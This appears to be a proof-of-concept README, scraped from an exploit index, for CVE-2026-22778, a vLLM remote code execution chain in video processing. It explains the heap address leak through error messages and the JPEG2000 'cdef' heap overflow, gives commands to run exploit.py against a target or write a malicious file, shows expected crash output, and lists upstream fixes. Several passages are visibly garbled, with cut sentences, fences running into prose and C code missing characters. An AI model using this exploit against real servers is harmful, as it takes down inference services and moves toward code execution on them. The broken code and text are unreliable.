## https://sploitus.com/exploit?id=7DB262F9-CD5D-5A1A-AC25-F914B400ED63
# CVE-2026-22778 β vLLM RCE in video processing
Vulnerable lab + proof of concept for **CVE-2026-22778** (CVSS 9.8), an
unauthenticated remote code execution chain in vLLM's multimodal ingestion
path.
| | |
|---|---|
| **CVE** | CVE-2026-22778 |
| **Advisory** | [GHSA-4r2x-xpjr-7cvv](https://github.com/vllm-project/vllm/security/advisories/GHSA-4r2x-xpjr-7cvv) |
| **Affected** | vLLM >= 0.8.3,
```
vLLM turned media-loading failures into an HTTP 400 and returned
`exc.detail` to the client untouched
([`api_server.py`](https://github.com/vllm-project/vllm/blob/v0.13.0/vllm/entrypoints/openai/api_server.py#L992-L1000)):
```python
async def http_exception_handler(_: Request, exc: HTTPException):
err = ErrorResponse(
error=ErrorInfo(
message=exc.detail, # OpenCVVideoBackend.load_bytes() vllm/multimodal/video.py
-> cv2.VideoCapture(BytesIO(data), backend, [])
-> FFmpeg 5.1.x (bundled in opencv-python-headless = 4.11.0`, which ships FFmpeg 5.1.x. Its
JPEG2000 decoder picks the destination plane straight out of the file's
channel-definition (`cdef`) box β `libavcodec/jpeg2000dec.c`, `write_frame_8`:
```c
if (planar)
plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...; /* from the component */
int h = tile->comp[compno].coord[1][1] - ...; /* not from the plane! */
```
`plane` is attacker-controlled but `w`/`h` come from the component being
decoded, and nothing checks that one fits in the other. A `cdef` entry of
`cn=0, asoc=2` sends component 0 β the full-resolution luma plane β into
plane 1, the 2Γ2-subsampled chroma plane.
For the 150Γ64 frame this PoC uses:
| | size |
|---|---|
| Y component (written) | 150 Γ 64 = **9,600 bytes** |
| U plane (destination) | 75 Γ 32 = **2,400 bytes** |
| Overflow | **7,200 bytes** past the allocation |
FFmpeg allocates each plane as its own `AVBuffer`, so the overflow runs
through adjacent heap chunks β including `AVBuffer` structs holding a `free`
function pointer. Combined with the leak from stage 1, overwriting that
pointer is what turns the corruption into code execution.
**This PoC stops at the memory corruption.** It proves the out-of-bounds
write by killing the server process. Heap grooming and the function-pointer
overwrite are deliberately not implemented.
## The lab
`lab/app.py` is a minimal reimplementation of the multimodal ingestion path of
vLLM 0.13.0 β `MediaConnector`, `ImageMediaIO`, `OpenCVVideoBackend` and the
pre-patch error handler, each annotated with the upstream file it mirrors. The
model runtime is stubbed out: the vulnerability lives entirely in media
ingestion, which runs before inference and needs no GPU or model weights.
Everything on the attack path is the real thing β the same Pillow call that
leaks the address, and the same `cv2.VideoCapture` call into an unpatched
`opencv-python-headless==4.11.0.86` (FFmpeg 5.1.x, libavcodec 59.37.100).
## Usage
```bash
docker compose up -d --build
python3 exploit.py
```
Options:
```bash
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve # deliver the payload over HTTP
python3 exploit.py --write-payload evil.jp2 # just write the malicious file
```
The exploit is pure standard library β no dependencies.
### Expected output
```
[*] Stage 1 -- heap address disclosure via PIL error message
HTTP 400
cannot identify image file
[+] Leaked heap address: 0xffff8f555300
ASLR bypassed: the heap base is now known to ~3 bits of entropy.
[*] Stage 2 -- heap buffer overflow in the JPEG2000 decoder
Target alive: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
Payload: 203 bytes, 150x64 yuv420p JP2
cdef maps component 0 -> plane 1: writes 9600 bytes into a 2400-byte plane (7200-byte overflow)
Request never completed: Remote end closed connection without response
Probing /health to see what happened to the worker...
[+] Worker was killed and restarted: boot_id 95b62f18-... -> 4494d28c-...
[+] Out-of-bounds write confirmed.
```
And the server side:
```
$ docker compose logs vllm
cve-2026-22778-lab | INFO: POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab | corrupted size vs. prev_size
cve-2026-22778-lab | INFO: Started server process [1]
```
Teardown:
```bash
docker compose down
```
## The payload
203 bytes, built from scratch in `build_payload()`. A JP2 container holding a
minimal JPEG2000 codestream that declares three components at 4:2:0
subsampling (so FFmpeg allocates a `yuv420p` frame), plus a `cdef` box that
remaps them:
```
cn=0, typ=0, asoc=2 >` from object reprs before
they reach the client.
- [#32319](https://github.com/vllm-project/vllm/pull/32319) β routes the
remaining error paths through it.
- [#32668](https://github.com/vllm-project/vllm/pull/32668) β bumps
`opencv-python-headless` to `>= 4.13.0`, picking up the FFmpeg fix for
CVE-2025-9951.
Upstream FFmpeg now rejects a `cdef` map that is not a permutation of the
channels, and derives the pixel format from the remapped indices:
```c
int cdef_used = 0;
for (i = 0; i ncomponents; i++)
cdef_used |= 1cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
return AVERROR_INVALIDDATA;
```
Swapping the lab's pin to `opencv-python-headless>=4.13.0` makes the same
payload fail harmlessly with `error during processing marker segment ff51`.
If you cannot upgrade: don't serve video models, put authentication in front
of the API, and restrict media fetching with `--allowed-media-domains`.
## Notes
- The lab restarts automatically after each crash, so the PoC can be run
repeatedly.
- On Apple Silicon, let `docker compose` build for the native arm64
architecture (the default). Forcing `--platform linux/amd64` runs the
container under emulation, where the aborting process hangs instead of
exiting and the crash is harder to observe.
## References
- [NVD β CVE-2026-22778](https://nvd.nist.gov/vuln/detail/CVE-2026-22778)
- [vLLM advisory β GHSA-4r2x-xpjr-7cvv](https://github.com/vllm-project/vllm/security/advisories/GHSA-4r2x-xpjr-7cvv)
- [FFmpeg advisory β GHSA-39q3-f8jq-v6mg (CVE-2025-9951)](https://github.com/google/security-research/security/advisories/GHSA-39q3-f8jq-v6mg)
## Disclaimer
For education and authorized security testing only. Run it against the lab in
this repository or systems you have explicit permission to test.